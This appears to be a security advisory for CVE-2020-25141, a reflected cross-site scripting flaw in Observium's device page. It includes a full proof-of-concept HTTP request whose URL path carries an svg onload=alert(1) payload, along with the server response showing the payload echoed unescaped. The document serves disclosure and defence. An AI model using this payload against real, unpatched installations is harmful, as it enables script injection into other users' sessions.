ahpaleus / **CVE-2020-25141.txt**

Created 2 years ago

CVE-2020-25141.txt

```
CVE-2020-25141
-----------------------------------------
Cross Site Scripting in device

-----------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject a

[Additional Information]


Example Request that allows to trigger XSS payload.

GET /device/device=140/tab=wifi/view=%3Csvg%20onload=alert(1)%3E/accesspoint=140/ HTTP/1.1
Host: localhost
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ckey=07a920a952b8d1f47a3825826777e342; dkey=e918a436f0fb8be2f395ff17ea670563; OBSID=08rcki8d1v9lqm41c23e3pj5jkjm3heg; observium_scr




Partial of server response:

HTTP/1.1 200 OK
Date: Fri, 14 Aug 2020 07:22:12 GMT
Server: Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.2k-fips PHP/7.0.30
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
X-Powered-By: PHP/7.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=08rcki8d1v9lqm41c23e3pj5jkjm3heg; expires=Fri, 14-Aug-2020 07:52:13 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 116678

<!DOCTYPE html>
<html lang="en">
<head>
    <base href="https://localhost/"/>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
    <!-- META BEGIN -->
  <meta http-equiv="refresh" content="300" />
(…)
      <div>Please be aware that the WiFi section is currently under development and is subject to intermittent changes and breakage.</div>
    </div>
<h2>Error. No section <svg onload=alert(1)>.<br /> Please report this to observium developers.</h2></div>


-----------------------------------------

[VulnerabilityType Other]
Cross Site Scripting

-----------------------------------------

[Vendor of Product]
https://www.observium.org/

-----------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631

-----------------------------------------

[Affected Component]
device

-----------------------------------------

[Attack Type]
Remote
```

```
82
83  ----------------------------------------
84
85  [Reference]
86  https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
87  https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
88  https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
89  https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
90  https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
91
92
93
94  ----------------------------------------
95
96  [Discoverer]
97  Maciej Domański
98
99  ----------------------------------------
100
101
102 Maciej Domański / AFINE.com team
```